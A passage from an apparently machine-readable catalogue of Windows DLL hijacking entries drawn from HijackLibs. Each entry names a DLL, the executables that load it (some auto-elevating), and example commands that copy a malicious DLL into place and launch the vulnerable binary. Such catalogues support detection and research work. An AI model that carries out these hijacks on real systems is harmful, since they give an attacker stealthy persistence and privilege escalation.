        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/cryptnet.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious cryptsp.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\cryptsp.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bcdedit.exe\\\"\"\n\n# cryptsp.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bcdedit.exe (Sideloading)\n- %SYSTEM32%\\disksnapshot.exe (Sideloading)\n- %SYSTEM32%\\genvalobj.exe (Sideloading)\n- %SYSTEM32%\\omadmclient.exe (Sideloading)\n- %SYSTEM32%\\rmactivate.exe (Sideloading)\n- %SYSTEM32%\\rmactivate_isv.exe (Sideloading)\n- %SYSTEM32%\\rmactivate_ssp.exe (Sideloading)\n- %SYSTEM32%\\rmactivate_ssp_isv.exe (Sideloading)\n- %SYSTEM32%\\werfault.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-cryptsp.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "cryptsp.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "cryptsp.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-cryptsp",
    "name": "cryptsp.dll",
    "namespace": "windows:dllhijack:cryptsp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/cryptsp.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious cryptui.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\cryptui.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certutil.exe\\\"\"\n\n# cryptui.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certutil.exe (Sideloading)\n- %SYSTEM32%\\efsui.exe (Sideloading)\n- %SYSTEM32%\\mstsc.exe (Sideloading)\n- %SYSTEM32%\\rekeywiz.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-cryptui.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "cryptui.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "cryptui.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-cryptui",
    "name": "cryptui.dll",
    "namespace": "windows:dllhijack:cryptui",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/cryptui.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious cryptxml.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\cryptxml.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\clipup.exe\\\"\"\n\n# cryptxml.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\clipup.exe (Sideloading)\n- %SYSTEM32%\\sppsvc.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-cryptxml.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "cryptxml.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "cryptxml.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-cryptxml",
    "name": "cryptxml.dll",
    "namespace": "windows:dllhijack:cryptxml",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/cryptxml.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious cscapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\cscapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certreq.exe\\\"\"\n\n# cscapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certreq.exe (Sideloading)\n- %SYSTEM32%\\microsoft.uev.cscunpintool.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-cscapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "cscapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "cscapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-cscapi",
    "name": "cscapi.dll",
    "namespace": "windows:dllhijack:cscapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/cscapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious cscobj.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\cscobj.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certreq.exe\\\"\"\n\n# cscobj.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certreq.exe (Environment Variable)\n- %SYSTEM32%\\compmgmtlauncher.exe (Environment Variable)\n- %SYSTEM32%\\notepad.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-cscobj.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "cscobj.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "cscobj.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-cscobj",
    "name": "cscobj.dll",
    "namespace": "windows:dllhijack:cscobj",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/cscobj.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious cscui.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\cscui.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certreq.exe\\\"\"\n\n# cscui.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certreq.exe (Environment Variable)\n- %SYSTEM32%\\compmgmtlauncher.exe (Environment Variable)\n- %SYSTEM32%\\explorer.exe (Environment Variable)\n- %SYSTEM32%\\notepad.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-cscui.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "cscui.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "cscui.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-cscui",
    "name": "cscui.dll",
    "namespace": "windows:dllhijack:cscui",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/cscui.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious d2d1.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\d2d1.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dataexchangehost.exe\\\"\"\n\n# d2d1.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dataexchangehost.exe (Sideloading)\n- %SYSTEM32%\\dwm.exe (Sideloading)\n- %SYSTEM32%\\eoaexperiences.exe (Sideloading)\n- %SYSTEM32%\\gamepanel.exe (Sideloading)\n- %SYSTEM32%\\quickassist.exe (Sideloading)\n- %SYSTEM32%\\vsgraphicsdesktopengine.exe (Sideloading)\n- %SYSTEM32%\\vsgraphicsremoteengine.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-d2d1.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "d2d1.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "d2d1.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-d2d1",
    "name": "d2d1.dll",
    "namespace": "windows:dllhijack:d2d1",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/d2d1.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious d3d10.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\d3d10.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\winsat.exe\\\"\"\n\n# d3d10.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\winsat.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-d3d10.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "d3d10.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "d3d10.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-d3d10",
    "name": "d3d10.dll",
    "namespace": "windows:dllhijack:d3d10",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/d3d10.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious d3d10_1.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\d3d10_1.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\winsat.exe\\\"\"\n\n# d3d10_1.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\winsat.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-d3d10-1.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "d3d10_1.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "d3d10_1.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-d3d10-1",
    "name": "d3d10_1.dll",
    "namespace": "windows:dllhijack:d3d10-1",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/d3d10-1.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious d3d10_1core.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\d3d10_1core.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\winsat.exe\\\"\"\n\n# d3d10_1core.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\winsat.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-d3d10-1core.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "d3d10_1core.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "d3d10_1core.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-d3d10-1core",
    "name": "d3d10_1core.dll",
    "namespace": "windows:dllhijack:d3d10-1core",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/d3d10-1core.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious d3d10core.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\d3d10core.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\winsat.exe\\\"\"\n\n# d3d10core.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\winsat.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-d3d10core.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "d3d10core.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "d3d10core.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-d3d10core",
    "name": "d3d10core.dll",
    "namespace": "windows:dllhijack:d3d10core",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/d3d10core.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious d3d10warp.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\d3d10warp.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\slidetoshutdown.exe\\\"\"\n\n# d3d10warp.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\slidetoshutdown.exe (Sideloading)\n- %SYSTEM32%\\systemreset.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-d3d10warp.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "d3d10warp.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "d3d10warp.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-d3d10warp",
    "name": "d3d10warp.dll",
    "namespace": "windows:dllhijack:d3d10warp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/d3d10warp.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious d3d11.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\d3d11.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dataexchangehost.exe\\\"\"\n\n# d3d11.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dataexchangehost.exe (Sideloading)\n- %SYSTEM32%\\dwm.exe (Sideloading)\n- %SYSTEM32%\\dxcap.exe (Sideloading)\n- %SYSTEM32%\\dxgiadaptercache.exe (Sideloading)\n- %SYSTEM32%\\gamepanel.exe (Sideloading)\n- %SYSTEM32%\\mdeserver.exe (Sideloading)\n- %SYSTEM32%\\quickassist.exe (Sideloading)\n- %SYSTEM32%\\systemreset.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\taskmgr.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\vsgraphicsdesktopengine.exe (Sideloading)\n- %SYSTEM32%\\vsgraphicsremoteengine.exe (Sideloading)\n- %SYSTEM32%\\winsat.exe (Sideloading) [AutoElevate]\n- %PROGRAMFILES%\\Steam\\steamapps\\common\\wallpaper_engine\\wallpaper32.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n\n**Acknowledgement:** Josh Allman\n",
    "_source": "windows-dllhijack-d3d11.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "d3d11.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "d3d11.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-d3d11",
    "name": "d3d11.dll",
    "namespace": "windows:dllhijack:d3d11",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "Reference",
        "url": "https://blog.amartinsec.com/blog/dllhijacking/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/d3d11.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious d3d12.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\d3d12.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dxgiadaptercache.exe\\\"\"\n\n# d3d12.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dxgiadaptercache.exe (Sideloading)\n- %SYSTEM32%\\taskmgr.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-d3d12.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "d3d12.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "d3d12.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-d3d12",
    "name": "d3d12.dll",
    "namespace": "windows:dllhijack:d3d12",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/d3d12.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious d3d9.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\d3d9.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\magnify.exe\\\"\"\n\n# d3d9.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\magnify.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-d3d9.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "d3d9.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "d3d9.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-d3d9",
    "name": "d3d9.dll",
    "namespace": "windows:dllhijack:d3d9",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/d3d9.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious d3dcompiler_47.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\windows kits\\\\10\\\\bin\\\\%VERSION%\\\\x64\\\\d3dcompiler_47.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dwm.exe\\\"\"\n\n# d3dcompiler_47.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\windows kits\\10\\bin\\%VERSION%\\x64\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dwm.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-d3dcompiler-47.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "d3dcompiler_47.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "d3dcompiler_47.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-d3dcompiler-47",
    "name": "d3dcompiler_47.dll",
    "namespace": "windows:dllhijack:d3dcompiler-47",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/d3dcompiler-47.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious d3dx9_43.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\d3dx9_43.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%LOCALAPPDATA%\\\\Temp\\\\HPDIAGS\\\\0699814c-9c5f-46ad-8c9d-a1c61a163f2b\\\\d3dim9.exe\\\"\"\n\n# d3dx9_43.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %LOCALAPPDATA%\\Temp\\HPDIAGS\\0699814c-9c5f-46ad-8c9d-a1c61a163f2b\\d3dim9.exe (Sideloading)\n",
    "_source": "windows-dllhijack-d3dx9-43.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "d3dx9_43.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "d3dx9_43.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-d3dx9-43",
    "name": "d3dx9_43.dll",
    "namespace": "windows:dllhijack:d3dx9-43",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/d3dx9-43.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dal_keepalives.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\audinate\\\\shared files\\\\dal_keepalives.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\audinate\\\\shared files\\\\mDnsResponder.exe\\\"\"\n\n# dal_keepalives.dll\n\n**Vendor:** Audinate\n\n**Expected Location:** %PROGRAMFILES%\\audinate\\shared files\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\audinate\\shared files\\mDnsResponder.exe (Sideloading)\n",
    "_source": "windows-dllhijack-dal-keepalives.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dal_keepalives.dll — Sideloading hijacking (Audinate)",
    "execution": {
      "template": "dal_keepalives.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dal-keepalives",
    "name": "dal_keepalives.dll",
    "namespace": "windows:dllhijack:dal-keepalives",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://research.checkpoint.com/2023/stayin-alive-targeted-attacks-against-telecoms-and-government-ministries-in-asia/"
      },
      {
        "label": "Reference",
        "url": "https://www.cisa.gov/news-events/alerts/2025/02/06/cisa-adds-five-known-exploited-vulnerabilities-catalog"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/d4bd89ff56b75fc617f83eb858b6dbce7b36376889b07fa0c2417322ca361c30"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dal-keepalives.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dataexchange.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dataexchange.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certreq.exe\\\"\"\n\n# dataexchange.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certreq.exe (Environment Variable)\n- %SYSTEM32%\\charmap.exe (Environment Variable)\n- %SYSTEM32%\\notepad.exe (Environment Variable)\n- %SYSTEM32%\\wordpad.exe (Environment Variable)\n- %PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft\\Edge\\Application\\msedge.exe (Environment Variable)\n- %PROGRAMFILES%\\Mozilla Firefox\\firefox.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\powerpnt.exe (Environment Variable)\n- 